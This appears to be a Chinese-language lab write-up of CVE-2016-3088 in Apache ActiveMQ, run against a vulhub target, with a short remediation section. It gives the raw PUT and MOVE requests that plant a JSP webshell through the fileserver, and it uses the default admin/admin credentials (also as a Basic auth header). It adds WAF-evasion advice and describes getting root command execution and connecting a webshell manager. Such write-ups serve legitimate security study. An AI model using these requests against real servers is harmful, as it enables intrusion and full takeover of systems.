ActiveMQ任意文件写入漏洞
漏洞简介
漏洞名称:ActiveMQ任意文件上传漏洞
漏洞编号:CVE-2016-3088
影响版本:Apache ActiveMQ 5.x~5.14.0
- 该漏洞基于fileserver应用,ActiveMQ在5.12.x~5.13.x版本已经默认关闭fileserver,但是被开启
- 并且5.14.0之后就将fileserver彻底删除了
- 只有目标的fileserver服务开启,才存在该漏洞
随着ActiveMQ的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口
登录的默认账密:admin/admin
漏洞原理
漏洞产生原因:
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中
- admin是管理员页面
- api是接口
- fileserver是储存文件的接口
admin和api都需要登录后才能使用,fileserver无需登录。
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入(PUT请求)文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件上传漏洞。
漏洞复现
环境搭建
因为CVE-2016-3088这个漏洞环境在vulhub上有,所以这里我直接选择使用vulhub来搭建这个漏洞环境,漏洞环境位于vulhub中的ActiveMQ目录下
具体的搭建这里就不讲了,搭建之后会开启两个端口服务,就是上面我们提到的ActiveMQ服务对应的两个端口
这里直接访问本机的8161端口即可来到ActiveMQ的web页面
复现步骤
- vulhub靶机:192.168.149.129
- 物 理 机:172.21.126.244
Web页面:http://192.168.149.129:8161
访问之后页面如下:
探测版本信息
访问如下页面即可探测到该ActiveMQ应用的版本信息
http://host:8161/admin/index.jsp?printable=true
注意:因为admin应用是管理员页面,所以需要登录,尝试默认密码登录即可
结果如下
可以看到目前的版本是5.11.1,为存在漏洞的应用版本,尝试利用该漏洞
探测绝对路径
访问如下路径,该路径是一个测试页面,展示了ActiveMQ应用的绝对路径
http://host:8161/admin/test/systemProperties.jsp
如下
找到activemq.home,即为该应用的绝对路径,如下
上传webshell
PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976
webshell...
这个请求体的位置就是jsp一句话木马的内容,而请求fileserver/2.txt就是利用fileserver支持put请求写入文件的特性,写入2.txt,那有人问了,为什么不直接写入jsp文件,而是写入为txt文件?
这是因为前面也讲到了,fileserver虽然支持put请求写入文件,但是无法解析jsp,所以只需要写入一个txt文件,待会再利用move请求移动文件的同时进行重命名修改后缀名即可
直接写入jsp文件也行,只是动静稍微大一点,隐蔽性差点,如果存在上传的waf就很可能被kill了,我们的目标是先把我们的马上传上去,动静自然越小越好
回显204即为上传成功,注意这里要使用PUT请求
此时可以访问上传的路径看看文件是否被成功上传
http://host:8161/fileserver/2.txt
这里的2.txt是刚才put请求中上传的文件,师傅们根据自己的场景来就行
访问之后结果如下
可以看到已经成功上传了
移动木马位置
这里已经成功上传了,但是还有一个问题,这个fileserver目录下的jsp文件无法解析,这时候应该怎么办呢?这是我们就可以利用fileserver支持的另一个请求——move(将木马的位置移动到能够解析的位置)
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/2.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
这里的destination请求头的值就是你要移动的目标位置,因为我这里的靶场探测到目标的ActiveMQ的绝对路径下的/opt/activemq目录,所以这里我们选择把木马移动到activemq的webapps/api目录下,如下
同样的,204回显代表移动成功,此时可以访问如下路径查看是否成功移动(需要登录)
http://host:8161/api
可以看到已经成功移动到了api目录下
webshell使用
我们可以访问这个2.jsp文件,看看木马能否正常使用
可以看到,能够正常访问和解析,但是有报错,这个不影响,尝试命令执行
可以看到直接就是root权限,因为api目录是root权限创建的
尝试连接webshell管理工具,这里我使用的蚁剑
这里还有一个问题,webshell连接工具在连接时会显示无法连接,甚至出现报错,请问这是什么原因呢?
其实仔细想一下就能理解为什么会报错了,你想一下你浏览器访问到这个2.jsp的前提是什么?前提就是登录,不登录就无法查看,那我们应该怎么让蚁剑模拟登录呢?——设置Cookie
这里的Cookie没有鉴权作用,真正起到鉴权作用的是
Authorization: Basic YWRtaW46YWRtaW4=
也就是账号密码
再测试连接
连接成功
成功拿到目标机器的root权限
修复方案
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能